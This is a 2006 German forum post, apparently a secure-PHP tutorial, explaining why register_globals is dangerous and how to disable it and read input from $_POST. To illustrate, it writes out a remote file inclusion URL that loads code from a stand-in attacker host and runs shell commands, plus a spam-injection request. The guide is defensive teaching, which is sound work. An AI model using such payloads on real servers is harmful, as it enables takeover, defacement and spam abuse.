Homepage CGI/Perl Scripte PHP Scripte Artikel CGI-Perl Workshop SELFHTML SELFPHP Linkdatenbank Grafikdownloads
Inspire-World Forum  
Zurück   Inspire-World Forum > Workshops und Codeschnipsel > PHP und MySQL

 
 
Themen-Optionen Ansicht
Alt 13.10.2006, 18:49   #1
Spider
Registrierter Benutzer
eLiTe mEmBeR
 
Benutzerbild von Spider
 
Registriert seit: 06.2001
Ort: Vogtland
Beiträge: 6.111
Standard Leitfaden zur sicheren PHP-Programmierung

Vorab:

Ich möchte Euch bitten in diesem Topic nicht über die aufgezeigten Mittel und Wege zu diskutieren, sondern in diesem Fall bitte einen Extra-Thread im Bereich PHP & MySQL zu eröffnen.

Dieser Thread soll ein Leitfaden zu sicheren und besseren PHP-Programmierung werden.
Jeder der dazu beitragen kann, darf das auch gerne tun, Diskussionen dazu aber wie gesagt bitte in einem Extra-Thread...

Vieleicht kann Helmut das ja sogar oben festpinnen


1. Register_Globals

Was ist register_globals eigentlich?

Unter register_globals = on; (php.ini) ist es möglich Variablen von einer anderen Herkunft zu verwenden ohne diese neu definieren zu müssen.
Auf den ersten Blick mag diese Einstellung einiges an Arbeit dem Programmierer abnehmen. Betrachtet man dies aber näher, erkennt man schnell ein potenzielles Sicherheitsrisiko.

Schauen wir uns das mal anhand eines einfachen Kontaktformulars an:

Das Formular selber:
HTML-Code:
<html>
<body>
<form action="mail.php" method="post">
Dein Name: <input type="text" name="name"><br />
Deine eMail: <input type="text" name="email"><br />
Nachricht: <input type="textarena" name="nachricht"><br />
<input type="submit" value="Senden" name="submit"></form>
</body>
</html>
Um das Formular jetzt zu versenden, würde folgender PHP-Code in der Datei mail.php mit register_globals = on; ausreichen:
PHP-Code:
<?
   
if ($name != "" && $nachricht != "" && $email != "") {
      if (
mail("mich@meine.de","Kontakt",$nachricht)) {
         echo 
"Die Nachricht wurde erfolgreich verschickt";
      }
   }
   else {
      echo 
"Bitte alle Felder ausfüllen";
   }
?>
Wie man am Formular sieht, werden die Daten per POST versenden, sind also in der URL selber nicht sichtbar.
Was passiert aber nun wenn ein böser Mensch auf die mail.php direkt via URL so zugreift:
Code:
http://www.url.de/mail.php?nachricht=Ich%20bin%20ein%20Spammer,%20besuch%20doch%20mal%20folgende%20URLS&name=Spammer&email=sagich@nicht.de
?

Die Nachricht wird denoch verschickt, da ALLE Variablen, egal ob es sie jemals gab oder nicht, global registriert sind.

Und noch dazu haben wir uns ein Script gebaut das, uns in Zukunft auch noch selber mit SPAM überschütten wird. ;-)
Es ist dem Script also absolut egal ob bsw. $email aus einer GET oder POST Übergabe kam, ob sie aus einer Session oder aus einem Cookie kommt!

Lassen wir es mal etwas komplizierter werden, um zu demonstrieren wieso die Verwendung von register_globals = on wirklich gefährlich ist.

Wir verwenden eine nettes Script das wir irgendwo runtergeladen haben. (z.B. ein Gästebuch)
Dieses verwendet einen Konfigurationsdatei, in der Sachen wie Pfad, URL etc.. gespeichert sind:

PHP-Code:
<?
    
//Config
    
$pfad "/html/home/user1234/gbook/";
    
$URL "http://www.url.de/gbook/";
    ...
    ...
?>
Ein Angreifer erstellt sich nun auf seinem eigenem Server ein kleines Script, mit dem er externe Programme ausführen kann. (bsw. passthru(); )

Nun nutzt er die Funktion der Global Registrierten Variablen für sich aus, um über seinen eigenen Server auf dem angegriffenen Server einen Ordner zu erstellen und dort bsw. ein Spam-Script zu plazieren.
Dazu nutzt er die globale Variable $pfad, um darin die URL zu einem eigenem Programm einzuschleusen:

Code:
http://www.url.de/gbook/eintragen.php?pfad=http://angreifer.to/abc.jpg?&do=cd%20/html/home/user1234/;ls%20-al
^^-- Damit wechselt er in das Hauptverzeichniss unseres FTP-Accounts

Mit dieser Variante kann der Angreifer immer weiter vordringen und mit dem FTP-Server machen was er will
- Anlegen eines Verzeichnisses
- Umbenennen eines Verzeichnisses
- Kopieren eines Scriptes von seinem Server auf den angegriffenen Server

Diese Liste könnte man jetzt immer weiterführen, aber spätestens hier sieht man das der Angreifer fast die komplette Kontrolle über den FTP-Server besitzt, OHNE selber auf ihm drauf zusein.
So ist es dann möglich das zB. Startseiten überschrieben werden (Defacement), der Server zum Spammen benutzt wird oder - im schlimmsten Fall - alle Dateien gelöscht werden.

Was kannst Du nun tun um nicht selber auch zu einem Sicherheitsrisiko wirst?

1. Frag Deinen Provider ob bei Dir register_globals auf OFF steht und wenn nicht, lass es deaktivieren!
Solte der Provider das nicht wollen, frag ihn ob es bei ihm möglich ist bsw. via .htaccess register_globals zu deaktivieren.
Bei All-Inkl.com ist dies mittels folgenden Eintrag in die .htaccess Datei möglich:
Code:
php_flag register_globals off
Sollte auch keine der Alternativen bei Deinem Provider möglich sein, würde ich einen Umzug zu einem neuem Provider empfehlen.

Natürlich sollte hier erwähnt werden das ältere oder "schlecht" programmierte Scripte, welche register_globals auf ON vorraussetzen, nicht mehr funktionieren werden.
Aber wenn man oben angeführte Beispiele überdenkt, sind diese Scripte ohnehin ein Sicherheitsrisiko und sollten überarbeitet oder ausgetauscht werden.

2. Registriere und definiere Variablen die Du in Deinen Scripten verwendest immer selber und weise ihnen direkt am Anfang des Scriptes einen leeren String zu!

PHP-Code:
<?
    $email 
"";
    
$name "";
    
$nachricht "";
    
//usw
    
    //das eigentliche Script
?>
3. Wenn Du auf den Inhalt einer Variable zugreifst, gebe an WOHER die Variable kommt, um die Einschleusung von fremden Werten über andere Wege auszuschliessen:
PHP-Code:
<?
    
// Variablen-Registrierung
    //.....
    
    
$email $_POST['email'];
    
$name $_POST['name'];
    
$nachricht $_POST['nachricht'];
?>
Man sieht also das dass Programmieren ohne global registrierte Variablen ein klein wenig mehr Aufwand erfordert, aber in diesem Fall heiligt der Zweck die Mittel.
Denn ist ein System erst einmal befallen, macht es wessentlich mehr Arbeit es wieder zu reinigen - noch dazu ist in den meisten Fällen dann bereits ein großer Schaden enstanden. Bleiben wir beim Beispiel mit dem Spamscript, kannst Du davon ausgehen das dieses Script dann keiner hinterlassen hat der seiner Oma und seiner Mutti mal eine eMail schicken wollte.
Innerhalb von wenigen Stunden kann ein richtiger Powerspammer einiges an Datenverkehr bewegen - Datenverkehr denn Du evtl. sogar extra bezahlen musst.

Geändert von Spider (13.10.2006 um 21:05 Uhr)
Spider ist offline   Mit Zitat antworten
 

Stichworte
php, sicher programmieren, spider, spider-tutorial

Themen-Optionen
Ansicht

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.

Gehe zu

Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
all-inkl php forenlandschaft PHP und MySQL 16 17.09.2004 14:29
CGI-Perl oder PHP? micha02 CGI und Perl Forum 6 10.12.2003 16:33
Ist das so richtig: PHP + Apache KoLSMS PHP und MySQL 4 05.04.2003 17:01
PHP Dateien als *.htm speichern und trozdem als PHP behandeln lassen Chacky PHP und MySQL 3 02.01.2003 20:28
NEWSSCRIPT OHNE SSI GESUCHT!! ODER SSI SCRIPT IN PHP EINGEBUNDEN! morpheus456 Suche Script - Script gefunden 9 25.01.2002 16:38


Alle Zeitangaben in WEZ +2. Es ist jetzt 04:49 Uhr.


Powered by vBulletin® Version 3.8.4 (Deutsch)
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd.